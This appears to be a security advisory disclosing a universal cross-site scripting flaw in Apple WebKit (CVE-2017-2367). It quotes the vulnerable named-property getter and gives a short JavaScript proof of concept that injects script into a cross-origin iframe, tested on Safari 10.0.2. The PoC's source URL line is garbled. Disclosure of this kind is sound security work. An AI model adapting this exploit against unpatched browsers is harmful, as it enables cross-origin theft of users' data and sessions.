Apple Webkit suffered from a cross site scripting vulnerability when accessing a named property from an unloaded window.
e7247888d10503970219f34be3edfb65 Apple Webkit: UXSS by accessing a named property from an unloaded window
CVE-2017-2367
The frame is not detached from an unloaded window. We can access to the new document's named properties via the following function.
static bool jsDOMWindowPropertiesGetOwnPropertySlotNamedItemGetter(JSDOMWindowProperties* thisObject, Frame& frame, ExecState* exec, PropertyName propertyName, PropertySlot& slot)
{
...
Document* document = frame.document(); <<-------- the new document.
if (is<HTMLDocument>(*document)) {
auto& htmlDocument = downcast<HTMLDocument>(*document);
auto* atomicPropertyName = propertyName.publicName();
if (atomicPropertyName && htmlDocument.hasWindowNamedItem(*atomicPropertyName)) {
JSValue namedItem;
if (UNLIKELY(htmlDocument.windowNamedItemContainsMultipleElements(*atomicPropertyName))) {
Ref<HTMLCollection> collection = document->windowNamedItems(atomicPropertyName);
ASSERT(collection->length() > 1);
namedItem = toJS(exec, thisObject->globalObject(), collection);
} else
namedItem = toJS(exec, thisObject->globalObject(), htmlDocument.windowNamedItem(*atomicPropertyName));
slot.setValue(thisObject, ReadOnly | DontDelete | DontEnum, namedItem);
return true;
}
}
return false;
}
PoC:
"use strict";
let f = document.body.appendChild(document.createElement("iframe"));
let get_element = f.contentWindow.Function("return logo;");
f.onload = () => {
f.onload = null;
let node = get_element();
var sc = document.createElement("script");
sc.innerText = "alert(location)";
node.appendChild(sc);
};
f.src = "<a href="https://abc.xyz/";" title="" class="" rel="nofollow">https://abc.xyz/";</a>
Tested on Safari 10.0.2(12602.3.12.0.1).
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Found by: lokihardt